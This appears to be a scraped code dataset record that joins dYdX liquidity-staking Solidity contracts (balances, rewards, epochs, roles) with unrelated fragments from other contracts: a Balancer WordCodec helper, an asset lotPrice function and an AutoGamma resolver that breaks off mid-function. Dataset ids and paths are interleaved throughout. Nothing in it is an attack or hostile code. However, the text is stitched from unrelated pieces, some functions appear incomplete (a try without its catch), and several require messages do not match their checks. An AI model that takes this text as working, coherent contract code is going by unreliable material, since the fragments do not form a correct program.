_getBalancePtr(maybeStaker, isActiveBalance); LS1Types.StoredBalance memory balance = _loadBalanceForUpdate(balancePtr, maybeStaker, isActiveBalance); balance.nextEpochBalance = uint256(balance.nextEpochBalance).sub(amount).toUint112(); _storeBalance(balancePtr, balance); } function _getBalancePtr( address maybeStaker, bool isActiveBalance ) private view returns (LS1Types.StoredBalance storage) { // Active. if (isActiveBalance) { if (maybeStaker != address(0)) { return _ACTIVE_BALANCES_[maybeStaker]; } return _TOTAL_ACTIVE_BALANCE_; } // Inactive. if (maybeStaker != address(0)) { return _INACTIVE_BALANCES_[maybeStaker]; } return _TOTAL_INACTIVE_BALANCE_; } /** * @dev Load a balance for updating. * * IMPORTANT: This function modifies state, and so the balance MUST be stored afterwards. * - For active balances: if a rollover occurs, rewards are settled to the epoch boundary. * - For inactive user balances: if a shortfall occurs, the user's debt balance is increased. * * @param balancePtr A storage pointer to the balance. * @param maybeStaker The user address, or address(0) to update total balance. * @param isActiveBalance Whether the balance is an active balance. */ function _loadBalanceForUpdate( LS1Types.StoredBalance storage balancePtr, address maybeStaker, bool isActiveBalance ) private returns (LS1Types.StoredBalance memory) { // Active balance. if (isActiveBalance) { ( LS1Types.StoredBalance memory balance, uint256 beforeRolloverEpoch, uint256 beforeRolloverBalance, bool didRolloverOccur ) = _loadActiveBalance(balancePtr); if (didRolloverOccur) { // Handle the effect of the balance rollover on rewards. We must partially settle the index // up to the epoch boundary where the change in balance occurred. We pass in the balance // from before the boundary. if (maybeStaker == address(0)) { // If it's the total active balance... _settleGlobalIndexUpToEpoch(beforeRolloverBalance, beforeRolloverEpoch); } else { // If it's a user active balance... _settleUserRewardsUpToEpoch(maybeStaker, beforeRolloverBalance, beforeRolloverEpoch); } } return balance; } // Total inactive balance. if (maybeStaker == address(0)) { return _loadTotalInactiveBalance(balancePtr); } // User inactive balance. (LS1Types.StoredBalance memory balance, uint256 newStakerDebt) = _loadUserInactiveBalance(balancePtr); if (newStakerDebt != 0) { uint256 newDebtBalance = _STAKER_DEBT_BALANCES_[maybeStaker].add(newStakerDebt); _STAKER_DEBT_BALANCES_[maybeStaker] = newDebtBalance; emit ReceivedDebt(maybeStaker, newStakerDebt, newDebtBalance); } return balance; } function _loadActiveBalance( LS1Types.StoredBalance storage balancePtr ) private view returns ( LS1Types.StoredBalance memory, uint256, uint256, bool ) { LS1Types.StoredBalance memory balance = balancePtr; // Return these as they may be needed for rewards settlement. uint256 beforeRolloverEpoch = uint256(balance.currentEpoch); uint256 beforeRolloverBalance = uint256(balance.currentEpochBalance); bool didRolloverOccur = false; // Roll the balance forward if needed. uint256 currentEpoch = getCurrentEpoch(); if (currentEpoch > uint256(balance.currentEpoch)) { didRolloverOccur = balance.currentEpochBalance != balance.nextEpochBalance; balance.currentEpoch = currentEpoch.toUint16(); balance.currentEpochBalance = balance.nextEpochBalance; } return (balance, beforeRolloverEpoch, beforeRolloverBalance, didRolloverOccur); } function _loadTotalInactiveBalance( LS1Types.StoredBalance storage balancePtr ) private view returns (LS1Types.StoredBalance memory) { LS1Types.StoredBalance memory balance = balancePtr; // Roll the balance forward if needed. uint256 currentEpoch = getCurrentEpoch(); if (currentEpoch > uint256(balance.currentEpoch)) { balance.currentEpoch = currentEpoch.toUint16(); balance.currentEpochBalance = balance.nextEpochBalance; } return balance; } function _loadUserInactiveBalance( LS1Types.StoredBalance storage balancePtr ) private view returns (LS1Types.StoredBalance memory, uint256) { LS1Types.StoredBalance memory balance = balancePtr; uint256 currentEpoch = getCurrentEpoch(); // If there is no non-zero balance, sync the epoch number and shortfall counter and exit. // Note: Next inactive balance is always >= current, so we only need to check next. if (balance.nextEpochBalance == 0) { balance.currentEpoch = currentEpoch.toUint16(); balance.shortfallCounter = _SHORTFALLS_.length.toUint16(); return (balance, 0); } // Apply any pending shortfalls that don't affect the “next epoch” balance. uint256 newStakerDebt; (balance, newStakerDebt) = _applyShortfallsToBalance(balance); // Roll the balance forward if needed. if (currentEpoch > uint256(balance.currentEpoch)) { balance.currentEpoch = currentEpoch.toUint16(); balance.currentEpochBalance = balance.nextEpochBalance; // Check for more shortfalls affecting the “next epoch” and beyond. uint256 moreNewStakerDebt; (balance, moreNewStakerDebt) = _applyShortfallsToBalance(balance); newStakerDebt = newStakerDebt.add(moreNewStakerDebt); } return (balance, newStakerDebt); } function _applyShortfallsToBalance( LS1Types.StoredBalance memory balance ) private view returns (LS1Types.StoredBalance memory, uint256) { // Get the cached and global shortfall counters. uint256 shortfallCounter = uint256(balance.shortfallCounter); uint256 globalShortfallCounter = _SHORTFALLS_.length; // If the counters are in sync, then there is nothing to do. if (shortfallCounter == globalShortfallCounter) { return (balance, 0); } // Get the balance params. uint16 cachedEpoch = balance.currentEpoch; uint256 oldCurrentBalance = uint256(balance.currentEpochBalance); // Calculate the new balance after applying shortfalls. // // Note: In theory, this while-loop may render an account's funds inaccessible if there are // too many shortfalls, and too much gas is required to apply them all. This is very unlikely // to occur in practice, but we provide _failsafeLoadUserInactiveBalance() just in case to // ensure recovery is possible. uint256 newCurrentBalance = oldCurrentBalance; while (shortfallCounter < globalShortfallCounter) { LS1Types.Shortfall memory shortfall = _SHORTFALLS_[shortfallCounter]; // Stop applying shortfalls if they are in the future relative to the balance current epoch. if (shortfall.epoch > cachedEpoch) { break; } // Update the current balance to reflect the shortfall. uint256 shortfallIndex = uint256(shortfall.index); newCurrentBalance = newCurrentBalance.mul(shortfallIndex).div(SHORTFALL_INDEX_BASE); // Increment the staker's shortfall counter. shortfallCounter = shortfallCounter.add(1); } // Calculate the loss. // If the loaded balance is stored, this amount must be added to the staker's debt balance. uint256 newStakerDebt = oldCurrentBalance.sub(newCurrentBalance); // Update the balance. balance.currentEpochBalance = newCurrentBalance.toUint112(); balance.nextEpochBalance = uint256(balance.nextEpochBalance).sub(newStakerDebt).toUint112(); balance.shortfallCounter = shortfallCounter.toUint16(); return (balance, newStakerDebt); } /** * @dev Store a balance. */ function _storeBalance( LS1Types.StoredBalance storage balancePtr, LS1Types.StoredBalance memory balance ) private { // Note: This should use a single `sstore` when compiler optimizations are enabled. balancePtr.currentEpoch = balance.currentEpoch; balancePtr.currentEpochBalance = balance.currentEpochBalance; balancePtr.nextEpochBalance = balance.nextEpochBalance; balancePtr.shortfallCounter = balance.shortfallCounter; } /** * @dev Does the same thing as _loadBalanceForUpdate() for a user inactive balance, but limits * the epoch we progress to, in order that we can put an upper bound on the gas expenditure of * the function. See LS1Failsafe. */ function _failsafeLoadUserInactiveBalanceForUpdate( LS1Types.StoredBalance storage balancePtr, address staker, uint256 maxEpoch ) private returns (LS1Types.StoredBalance memory) { LS1Types.StoredBalance memory balance = balancePtr; // Validate maxEpoch. uint256 currentEpoch = getCurrentEpoch(); uint256 cachedEpoch = uint256(balance.currentEpoch); require( maxEpoch >= cachedEpoch && maxEpoch <= currentEpoch, 'LS1StakedBalances: maxEpoch' ); // Apply any pending shortfalls that don't affect the “next epoch” balance. uint256 newStakerDebt; (balance, newStakerDebt) = _applyShortfallsToBalance(balance); // Roll the balance forward if needed. if (maxEpoch > cachedEpoch) { balance.currentEpoch = maxEpoch.toUint16(); // Use maxEpoch instead of currentEpoch. balance.currentEpochBalance = balance.nextEpochBalance; // Check for more shortfalls affecting the “next epoch” and beyond. uint256 moreNewStakerDebt; (balance, moreNewStakerDebt) = _applyShortfallsToBalance(balance); newStakerDebt = newStakerDebt.add(moreNewStakerDebt); } // Apply debt if needed. if (newStakerDebt != 0) { uint256 newDebtBalance = _STAKER_DEBT_BALANCES_[staker].add(newStakerDebt); _STAKER_DEBT_BALANCES_[staker] = newDebtBalance; emit ReceivedDebt(staker, newStakerDebt, newDebtBalance); } return balance; } } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.5; pragma abicoder v2; import { SafeERC20 } from '../../../dependencies/open-zeppelin/SafeERC20.sol'; import { SafeMath } from '../../../dependencies/open-zeppelin/SafeMath.sol'; import { IERC20 } from '../../../interfaces/IERC20.sol'; import { Math } from '../../../utils/Math.sol'; import { SafeCast } from '../lib/SafeCast.sol'; import { LS1EpochSchedule } from './LS1EpochSchedule.sol'; /** * @title LS1Rewards * @author dYdX * * @dev Manages the distribution of token rewards. * * Rewards are distributed continuously. After each second, an account earns rewards `r` according * to the following formula: * * r = R * s / S * * Where: * - `R` is the rewards distributed globally each second, also called the “emission rate.” * - `s` is the account's staked balance in that second (technically, it is measured at the * end of the second) * - `S` is the sum total of all staked balances in that second (again, measured at the end of * the second) * * The parameter `R` can be configured by the contract owner. For every second that elapses, * exactly `R` tokens will accrue to users, save for rounding errors, and with the exception that * while the total staked balance is zero, no tokens will accrue to anyone. * * The accounting works as follows: A global index is stored which represents the cumulative * number of rewards tokens earned per staked token since the start of the distribution. * The value of this index increases over time, and there are two factors affecting the rate of * increase: * 1) The emission rate (in the numerator) * 2) The total number of staked tokens (in the denominator) * * Whenever either factor changes, in some timestamp T, we settle the global index up to T by * calculating the increase in the index since the last update using the OLD values of the factors: * * indexDelta = timeDelta * emissionPerSecond * INDEX_BASE / totalStaked * * Where `INDEX_BASE` is a scaling factor used to allow more precision in the storage of the index. * * For each user we store an accrued rewards balance, as well as a user index, which is a cache of * the global index at the time that the user's accrued rewards balance was last updated. Then at * any point in time, a user's claimable rewards are represented by the following: * * rewards = _USER_REWARDS_BALANCES_[user] + userStaked * ( * settledGlobalIndex - _USER_INDEXES_[user] * ) / INDEX_BASE */ abstract contract LS1Rewards is LS1EpochSchedule { using SafeERC20 for IERC20; using SafeCast for uint256; using SafeMath for uint256; // ============ Constants ============ /// @dev Additional precision used to represent the global and user index values. uint256 private constant INDEX_BASE = 10**18; /// @notice The rewards token. IERC20 public immutable REWARDS_TOKEN; /// @notice Address to pull rewards from. Must have provided an allowance to this contract. address public immutable REWARDS_TREASURY; /// @notice Start timestamp (inclusive) of the period in which rewards can be earned. uint256 public immutable DISTRIBUTION_START; /// @notice End timestamp (exclusive) of the period in which rewards can be earned. uint256 public immutable DISTRIBUTION_END; // ============ Events ============ event RewardsPerSecondUpdated( uint256 emissionPerSecond ); event GlobalIndexUpdated( uint256 index ); event UserIndexUpdated( address indexed user, uint256 index, uint256 unclaimedRewards ); event ClaimedRewards( address indexed user, address recipient, uint256 claimedRewards ); // ============ Constructor ============ constructor( IERC20 rewardsToken, address rewardsTreasury, uint256 distributionStart, uint256 distributionEnd ) { require(distributionEnd >= distributionStart, 'LS1Rewards: Invalid parameters'); REWARDS_TOKEN = rewardsToken; REWARDS_TREASURY = rewardsTreasury; DISTRIBUTION_START = distributionStart; DISTRIBUTION_END = distributionEnd; } // ============ External Functions ============ /** * @notice The current emission rate of rewards. * * @return The number of rewards tokens issued globally each second. */ function getRewardsPerSecond() external view returns (uint256) { return _REWARDS_PER_SECOND_; } // ============ Internal Functions ============ /** * @dev Initialize the contract. */ function __LS1Rewards_init() internal { _GLOBAL_INDEX_TIMESTAMP_ = Math.max(block.timestamp, DISTRIBUTION_START).toUint32(); } /** * @dev Set the emission rate of rewards. * * IMPORTANT: Do not call this function without settling the total staked balance first, to * ensure that the index is settled up to the epoch boundaries. * * @param emissionPerSecond The new number of rewards tokens to give out each second. * @param totalStaked The total staked balance. */ function _setRewardsPerSecond( uint256 emissionPerSecond, uint256 totalStaked ) internal { _settleGlobalIndexUpToNow(totalStaked); _REWARDS_PER_SECOND_ = emissionPerSecond; emit RewardsPerSecondUpdated(emissionPerSecond); } /** * @dev Claim tokens, sending them to the specified recipient. * * Note: In order to claim all accrued rewards, the total and user staked balances must first be * settled before calling this function. * * @param user The user's address. * @param recipient The address to send rewards to. * * @return The number of rewards tokens claimed. */ function _claimRewards( address user, address recipient ) internal returns (uint256) { uint256 accruedRewards = _USER_REWARDS_BALANCES_[user]; _USER_REWARDS_BALANCES_[user] = 0; REWARDS_TOKEN.safeTransferFrom(REWARDS_TREASURY, recipient, accruedRewards); emit ClaimedRewards(user, recipient, accruedRewards); return accruedRewards; } /** * @dev Settle a user's rewards up to the latest global index as of `block.timestamp`. Triggers a * settlement of the global index up to `block.timestamp`. Should be called with the OLD user * and total balances. * * @param user The user's address. * @param userStaked Tokens staked by the user during the period since the last user index * update. * @param totalStaked Total tokens staked by all users during the period since the last global * index update. * * @return The user's accrued rewards, including past unclaimed rewards. */ function _settleUserRewardsUpToNow( address user, uint256 userStaked, uint256 totalStaked ) internal returns (uint256) { uint256 globalIndex = _settleGlobalIndexUpToNow(totalStaked); return _settleUserRewardsUpToIndex(user, userStaked, globalIndex); } /** * @dev Settle a user's rewards up to an epoch boundary. Should be used to partially settle a * user's rewards if their balance was known to have changed on that epoch boundary. * * @param user The user's address. * @param userStaked Tokens staked by the user. Should be accurate for the time period * since the last update to this user and up to the end of the * specified epoch. * @param epochNumber Settle the user's rewards up to the end of this epoch. * * @return The user's accrued rewards, including past unclaimed rewards, up to the end of the * specified epoch. */ function _settleUserRewardsUpToEpoch( address user, uint256 userStaked, uint256 epochNumber ) internal returns (uint256) { uint256 globalIndex = _EPOCH_INDEXES_[epochNumber]; return _settleUserRewardsUpToIndex(user, userStaked, globalIndex); } /** * @dev Settle the global index up to the end of the given epoch. * * IMPORTANT: This function should only be called under conditions which ensure the following: * - `epochNumber` < the current epoch number * - `_GLOBAL_INDEX_TIMESTAMP_ < settleUpToTimestamp` * - `_EPOCH_INDEXES_[epochNumber] = 0` */ function _settleGlobalIndexUpToEpoch( uint256 totalStaked, uint256 epochNumber ) internal returns (uint256) { uint256 settleUpToTimestamp = getStartOfEpoch(epochNumber.add(1)); uint256 globalIndex = _settleGlobalIndexUpToTimestamp(totalStaked, settleUpToTimestamp); _EPOCH_INDEXES_[epochNumber] = globalIndex; return globalIndex; } // ============ Private Functions ============ function _settleGlobalIndexUpToNow( uint256 totalStaked ) private returns (uint256) { return _settleGlobalIndexUpToTimestamp(totalStaked, block.timestamp); } /** * @dev Helper function which settles a user's rewards up to a global index. Should be called * any time a user's staked balance changes, with the OLD user and total balances. * * @param user The user's address. * @param userStaked Tokens staked by the user during the period since the last user index * update. * @param newGlobalIndex The new index value to bring the user index up to. * * @return The user's accrued rewards, including past unclaimed rewards. */ function _settleUserRewardsUpToIndex( address user, uint256 userStaked, uint256 newGlobalIndex ) private returns (uint256) { uint256 oldAccruedRewards = _USER_REWARDS_BALANCES_[user]; uint256 oldUserIndex = _USER_INDEXES_[user]; if (oldUserIndex == newGlobalIndex) { return oldAccruedRewards; } uint256 newAccruedRewards; if (userStaked == 0) { // Note: Even if the user's staked balance is zero, we still need to update the user index. newAccruedRewards = oldAccruedRewards; } else { // Calculate newly accrued rewards since the last update to the user's index. uint256 indexDelta = newGlobalIndex.sub(oldUserIndex); uint256 accruedRewardsDelta = userStaked.mul(indexDelta).div(INDEX_BASE); newAccruedRewards = oldAccruedRewards.add(accruedRewardsDelta); // Update the user's rewards. _USER_REWARDS_BALANCES_[user] = newAccruedRewards; } // Update the user's index. _USER_INDEXES_[user] = newGlobalIndex; emit UserIndexUpdated(user, newGlobalIndex, newAccruedRewards); return newAccruedRewards; } /** * @dev Updates the global index, reflecting cumulative rewards given out per staked token. * * @param totalStaked The total staked balance, which should be constant in the interval * (_GLOBAL_INDEX_TIMESTAMP_, settleUpToTimestamp). * @param settleUpToTimestamp The timestamp up to which to settle rewards. It MUST satisfy * `settleUpToTimestamp <= block.timestamp`. * * @return The new global index. */ function _settleGlobalIndexUpToTimestamp( uint256 totalStaked, uint256 settleUpToTimestamp ) private returns (uint256) { uint256 oldGlobalIndex = uint256(_GLOBAL_INDEX_); // The goal of this function is to calculate rewards earned since the last global index update. // These rewards are earned over the time interval which is the intersection of the intervals // [_GLOBAL_INDEX_TIMESTAMP_, settleUpToTimestamp] and [DISTRIBUTION_START, DISTRIBUTION_END]. // // We can simplify a bit based on the assumption: // `_GLOBAL_INDEX_TIMESTAMP_ >= DISTRIBUTION_START` // // Get the start and end of the time interval under consideration. uint256 intervalStart = uint256(_GLOBAL_INDEX_TIMESTAMP_); uint256 intervalEnd = Math.min(settleUpToTimestamp, DISTRIBUTION_END); // Return early if the interval has length zero (incl. case where intervalEnd < intervalStart). if (intervalEnd <= intervalStart) { return oldGlobalIndex; } // Note: If we reach this point, we must update _GLOBAL_INDEX_TIMESTAMP_. uint256 emissionPerSecond = _REWARDS_PER_SECOND_; if (emissionPerSecond == 0 || totalStaked == 0) { // Ensure a log is emitted if the timestamp changed, even if the index does not change. _GLOBAL_INDEX_TIMESTAMP_ = intervalEnd.toUint32(); emit GlobalIndexUpdated(oldGlobalIndex); return oldGlobalIndex; } // Calculate the change in index over the interval. uint256 timeDelta = intervalEnd.sub(intervalStart); uint256 indexDelta = timeDelta.mul(emissionPerSecond).mul(INDEX_BASE).div(totalStaked); // Calculate, update, and return the new global index. uint256 newGlobalIndex = oldGlobalIndex.add(indexDelta); // Update storage. (Shared storage slot.) _GLOBAL_INDEX_TIMESTAMP_ = intervalEnd.toUint32(); _GLOBAL_INDEX_ = newGlobalIndex.toUint224(); emit GlobalIndexUpdated(newGlobalIndex); return newGlobalIndex; } } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.5; pragma abicoder v2; import { SafeMath } from '../../../dependencies/open-zeppelin/SafeMath.sol'; import { LS1Types } from '../lib/LS1Types.sol'; import { SafeCast } from '../lib/SafeCast.sol'; import { LS1Roles } from './LS1Roles.sol'; /** * @title LS1EpochSchedule * @author dYdX * * @dev Defines a function from block timestamp to epoch number. * * The formula used is `n = floor((t - b) / a)` where: * - `n` is the epoch number * - `t` is the timestamp (in seconds) * - `b` is a non-negative offset, indicating the start of epoch zero (in seconds) * - `a` is the length of an epoch, a.k.a. the interval (in seconds) * * Note that by restricting `b` to be non-negative, we limit ourselves to functions in which epoch * zero starts at a non-negative timestamp. * * The recommended epoch length and blackout window are 28 and 7 days respectively; however, these * are modifiable by the admin, within the specified bounds. */ abstract contract LS1EpochSchedule is LS1Roles { using SafeCast for uint256; using SafeMath for uint256; // ============ Constants ============ /// @dev Minimum blackout window. Note: The min epoch length is twice the current blackout window. uint256 private constant MIN_BLACKOUT_WINDOW = 3 days; /// @dev Maximum epoch length. Note: The max blackout window is half the current epoch length. uint256 private constant MAX_EPOCH_LENGTH = 92 days; // Approximately one quarter year. // ============ Events ============ event EpochParametersChanged( LS1Types.EpochParameters epochParameters ); event BlackoutWindowChanged( uint256 blackoutWindow ); // ============ Initializer ============ function __LS1EpochSchedule_init( uint256 interval, uint256 offset, uint256 blackoutWindow ) internal { require( block.timestamp < offset, 'LS1EpochSchedule: Epoch zero must be in future' ); // Don't use _setBlackoutWindow() since the interval is not set yet and validation would fail. _BLACKOUT_WINDOW_ = blackoutWindow; emit BlackoutWindowChanged(blackoutWindow); _setEpochParameters(interval, offset); } // ============ Public Functions ============ /** * @notice Get the epoch at the current block timestamp. * * NOTE: Reverts if epoch zero has not started. * * @return The current epoch number. */ function getCurrentEpoch() public view returns (uint256) { (uint256 interval, uint256 offsetTimestamp) = _getIntervalAndOffsetTimestamp(); return offsetTimestamp.div(interval); } /** * @notice Get the time remaining in the current epoch. * * NOTE: Reverts if epoch zero has not started. * * @return The number of seconds until the next epoch. */ function getTimeRemainingInCurrentEpoch() public view returns (uint256) { (uint256 interval, uint256 offsetTimestamp) = _getIntervalAndOffsetTimestamp(); uint256 timeElapsedInEpoch = offsetTimestamp.mod(interval); return interval.sub(timeElapsedInEpoch); } /** * @notice Given an epoch number, get the start of that epoch. Calculated as `t = (n * a) + b`. * * @return The timestamp in seconds representing the start of that epoch. */ function getStartOfEpoch( uint256 epochNumber ) public view returns (uint256) { LS1Types.EpochParameters memory epochParameters = _EPOCH_PARAMETERS_; uint256 interval = uint256(epochParameters.interval); uint256 offset = uint256(epochParameters.offset); return epochNumber.mul(interval).add(offset); } /** * @notice Check whether we are at or past the start of epoch zero. * * @return Boolean `true` if the current timestamp is at least the start of epoch zero, * otherwise `false`. */ function hasEpochZeroStarted() public view returns (bool) { LS1Types.EpochParameters memory epochParameters = _EPOCH_PARAMETERS_; uint256 offset = uint256(epochParameters.offset); return block.timestamp >= offset; } /** * @notice Check whether we are in a blackout window, where withdrawal requests are restricted. * Note that before epoch zero has started, there are no blackout windows. * * @return Boolean `true` if we are in a blackout window, otherwise `false`. */ function inBlackoutWindow() public view returns (bool) { return hasEpochZeroStarted() && getTimeRemainingInCurrentEpoch() <= _BLACKOUT_WINDOW_; } // ============ Internal Functions ============ function _setEpochParameters( uint256 interval, uint256 offset ) internal { _validateParamLengths(interval, _BLACKOUT_WINDOW_); LS1Types.EpochParameters memory epochParameters = LS1Types.EpochParameters({interval: interval.toUint128(), offset: offset.toUint128()}); _EPOCH_PARAMETERS_ = epochParameters; emit EpochParametersChanged(epochParameters); } function _setBlackoutWindow( uint256 blackoutWindow ) internal { _validateParamLengths(uint256(_EPOCH_PARAMETERS_.interval), blackoutWindow); _BLACKOUT_WINDOW_ = blackoutWindow; emit BlackoutWindowChanged(blackoutWindow); } // ============ Private Functions ============ /** * @dev Helper function to read params from storage and apply offset to the given timestamp. * * NOTE: Reverts if epoch zero has not started. * * @return The length of an epoch, in seconds. * @return The start of epoch zero, in seconds. */ function _getIntervalAndOffsetTimestamp() private view returns (uint256, uint256) { LS1Types.EpochParameters memory epochParameters = _EPOCH_PARAMETERS_; uint256 interval = uint256(epochParameters.interval); uint256 offset = uint256(epochParameters.offset); require(block.timestamp >= offset, 'LS1EpochSchedule: Epoch zero has not started'); uint256 offsetTimestamp = block.timestamp.sub(offset); return (interval, offsetTimestamp); } /** * @dev Helper for common validation: verify that the interval and window lengths are valid. */ function _validateParamLengths( uint256 interval, uint256 blackoutWindow ) private pure { require( blackoutWindow.mul(2) <= interval, 'LS1EpochSchedule: Blackout window can be at most half the epoch length' ); require( blackoutWindow >= MIN_BLACKOUT_WINDOW, 'LS1EpochSchedule: Blackout window too large' ); require( interval <= MAX_EPOCH_LENGTH, 'LS1EpochSchedule: Epoch length too small' ); } } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.5; pragma abicoder v2; import { LS1Storage } from './LS1Storage.sol'; /** * @title LS1Roles * @author dYdX * * @dev Defines roles used in the LiquidityStakingV1 contract. The hierarchy of roles and powers * of each role are described below. * * Roles: * * OWNER_ROLE * | -> May add or remove users from any of the below roles it manages. * | * +-- EPOCH_PARAMETERS_ROLE * | -> May set epoch parameters such as the interval, offset, and blackout window. * | * +-- REWARDS_RATE_ROLE * | -> May set the emission rate of rewards. * | * +-- BORROWER_ADMIN_ROLE * | -> May set borrower allocations and allow/restrict borrowers from borrowing. * | * +-- CLAIM_OPERATOR_ROLE * | -> May claim rewards on behalf of a user. * | * +-- STAKE_OPERATOR_ROLE * | -> May manipulate user's staked funds (e.g. perform withdrawals on behalf of a user). * | * +-- DEBT_OPERATOR_ROLE * -> May decrease borrow debt and decrease staker debt. */ abstract contract LS1Roles is LS1Storage { bytes32 public constant OWNER_ROLE = keccak256('OWNER_ROLE'); bytes32 public constant EPOCH_PARAMETERS_ROLE = keccak256('EPOCH_PARAMETERS_ROLE'); bytes32 public constant REWARDS_RATE_ROLE = keccak256('REWARDS_RATE_ROLE'); bytes32 public constant BORROWER_ADMIN_ROLE = keccak256('BORROWER_ADMIN_ROLE'); bytes32 public constant CLAIM_OPERATOR_ROLE = keccak256('CLAIM_OPERATOR_ROLE'); bytes32 public constant STAKE_OPERATOR_ROLE = keccak256('STAKE_OPERATOR_ROLE'); bytes32 public constant DEBT_OPERATOR_ROLE = keccak256('DEBT_OPERATOR_ROLE'); function __LS1Roles_init() internal { // Assign roles to the sender. // // The DEBT_OPERATOR_ROLE, STAKE_OPERATOR_ROLE, and CLAIM_OPERATOR_ROLE roles are not // initially assigned. These can be assigned to other smart contracts to provide additional // functionality for users. _setupRole(OWNER_ROLE, msg.sender); _setupRole(EPOCH_PARAMETERS_ROLE, msg.sender); _setupRole(REWARDS_RATE_ROLE, msg.sender); _setupRole(BORROWER_ADMIN_ROLE, msg.sender); // Set OWNER_ROLE as the admin of all roles. _setRoleAdmin(OWNER_ROLE, OWNER_ROLE); _setRoleAdmin(EPOCH_PARAMETERS_ROLE, OWNER_ROLE); _setRoleAdmin(REWARDS_RATE_ROLE, OWNER_ROLE); _setRoleAdmin(BORROWER_ADMIN_ROLE, OWNER_ROLE); _setRoleAdmin(CLAIM_OPERATOR_ROLE, OWNER_ROLE); _setRoleAdmin(STAKE_OPERATOR_ROLE, OWNER_ROLE); _setRoleAdmin(DEBT_OPERATOR_ROLE, OWNER_ROLE); } } // SPDX-License-Identifier: AGPL-3.0 pragma solidity 0.7.5; import { IERC20 } from './IERC20.sol'; /** * @dev Interface for ERC20 including metadata **/ interface IERC20Detailed is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); }
Get the next epoch total active balance./
function getTotalActiveBalanceNextEpoch() public view returns (uint256) { if (!hasEpochZeroStarted()) { return 0; } (LS1Types.StoredBalance memory balance, , , ) = _loadActiveBalance(_TOTAL_ACTIVE_BALANCE_); return uint256(balance.nextEpochBalance); }
5,860,525
./partial_match/1/0xB56A44Eb3f22569f4ddBafdfa00Ca1A2411A4c0d/sources/ERC721ARandomizedCollectionV2.sol
Returns a struct with the following information about an address 1. The balance of the address 2. The number of tokens minted by the address 3. The number of tokens burned by the address 4. Any auxillary information stored in implementing contracts./
function getAddressData(address addr) external view returns (AddressData memory) { return _addressData[addr]; }
15,973,902
./partial_match/1/0x1201FAa7258A48b820619dD57Cd8FdEb25D49b2c/sources/@balancer-labs/v2-solidity-utils/contracts/helpers/WordCodec.sol
Decodes and returns a signed integer with `bitLength` bits, shifted by an offset, from a 256 bit word./ In case the decoded value is greater than the max positive integer that can be represented with bitLength bits, we know it was originally a negative integer. Therefore, we mask it to restore the sign in the 256 bit representation. Equivalent to: result = value > maxInt ? (value | int256(~mask)) : value;
function decodeInt( bytes32 word, uint256 offset, uint256 bitLength ) internal pure returns (int256 result) { int256 maxInt = int256((1 << (bitLength - 1)) - 1); uint256 mask = (1 << bitLength) - 1; int256 value = int256(uint256(word >> offset) & mask); assembly { result := or(mul(gt(value, maxInt), not(mask)), value) } }
4,228,055
./full_match/1/0x9837Ce9825D52672Ca02533B5A160212bf901963/sources/contracts/plugins/assets/Asset.sol
Should not revert lotLow should be nonzero when the asset might be worth selling Should be general enough to not need to be overridden return lotLow {UoA/tok} The lower end of the lot price estimate return lotHigh {UoA/tok} The upper end of the lot price estimate if the price feed is still functioning, use that see: docs/solidity-style.mdCatching-Empty-Data if the price feed is broken, use a decayed historical value {1} = {s} / {s} {UoA/tok} = {UoA/tok} {1}
function lotPrice() external view virtual returns (uint192 lotLow, uint192 lotHigh) { try this.tryPrice() returns (uint192 low, uint192 high, uint192) { lotLow = low; lotHigh = high; uint192 lotMultiplier = divuu(priceTimeout - delta, priceTimeout); lotLow = savedLowPrice.mul(lotMultiplier); lotHigh = savedHighPrice.mul(lotMultiplier); } assert(lotLow <= lotHigh); }
16,407,617
// SPDX-License-Identifier: MIT pragma solidity 0.8.0; import {IAutoGamma} from "./interfaces/IAutoGamma.sol"; import {IGammaOperator} from "./interfaces/IGammaOperator.sol"; import {IResolver} from "./interfaces/IResolver.sol"; import {MarginVault} from "./external/OpynVault.sol"; import {IUniswapRouter} from "./interfaces/IUniswapRouter.sol"; /// @author Willy Shen /// @title AutoGamma Resolver /// @notice AutoGamma resolver for Gelato PokeMe checks contract AutoGammaResolver is IResolver { address public redeemer; address public uniRouter; uint256 public maxSlippage = 50; // 0.5% address public owner; constructor(address _redeemer, address _uniRouter) { redeemer = _redeemer; uniRouter = _uniRouter; owner = msg.sender; } function setMaxSlippage(uint256 _maxSlippage) public { require(msg.sender == owner && _maxSlippage <= 500); // sanity check max slippage under 5% maxSlippage = _maxSlippage; } /** * @notice return if a specific order can be processed * @param _orderId id of order * @return true if order can be proceseed without a revert */ function canProcessOrder(uint256 _orderId) public view returns (bool) { IAutoGamma.Order memory order = IAutoGamma(redeemer).getOrder(_orderId); if (order.isSeller) { if ( !IGammaOperator(redeemer).isValidVaultId( order.owner, order.vaultId ) || !IGammaOperator(redeemer).isOperatorOf(order.owner) ) return false; ( MarginVault.Vault memory vault, uint256 typeVault, ) = IGammaOperator(redeemer).getVaultWithDetails( order.owner, order.vaultId ); try IGammaOperator(redeemer).getVaultOtokenByVault(vault) returns ( address otoken ) { if ( !IGammaOperator(redeemer).hasExpiredAndSettlementAllowed( otoken ) ) return false; (uint256 payout, bool isValidVault) = IGammaOperator(redeemer) .getExcessCollateral(vault, typeVault); if (!isValidVault || payout == 0) return false; if (order.toToken != address(0)) { address collateral = IGammaOperator(redeemer) .getOtokenCollateral(otoken); if ( !IAutoGamma(redeemer).isPairAllowed( collateral, order.toToken ) ) return false; } } catch { return false; } } else { if ( !IGammaOperator(redeemer).hasExpiredAndSettlementAllowed( order.otoken ) ) return false; if (order.toToken != address(0)) { address collateral = IGammaOperator(redeemer) .getOtokenCollateral(order.otoken); if ( !IAutoGamma(redeemer).isPairAllowed( collateral, order.toToken ) ) return false; } } return true; } /** * @notice return payout of an order * @param _orderId id of order * @return payoutToken token address of payout * @return payoutAmount amount of payout */ function getOrderPayout(uint256 _orderId) public view returns (address payoutToken, uint256 payoutAmount) { IAutoGamma.Order memory order = IAutoGamma(redeemer).getOrder(_orderId); if (order.isSeller) { ( MarginVault.Vault memory vault, uint256 typeVault, ) = IGammaOperator(redeemer).getVaultWithDetails( order.owner, order.vaultId ); address otoken = IGammaOperator(redeemer).getVaultOtokenByVault( vault ); payoutToken = IGammaOperator(redeemer).getOtokenCollateral(otoken); (payoutAmount, ) = IGammaOperator(redeemer).getExcessCollateral( vault, typeVault ); } else { payoutToken = IGammaOperator(redeemer).getOtokenCollateral( order.otoken ); 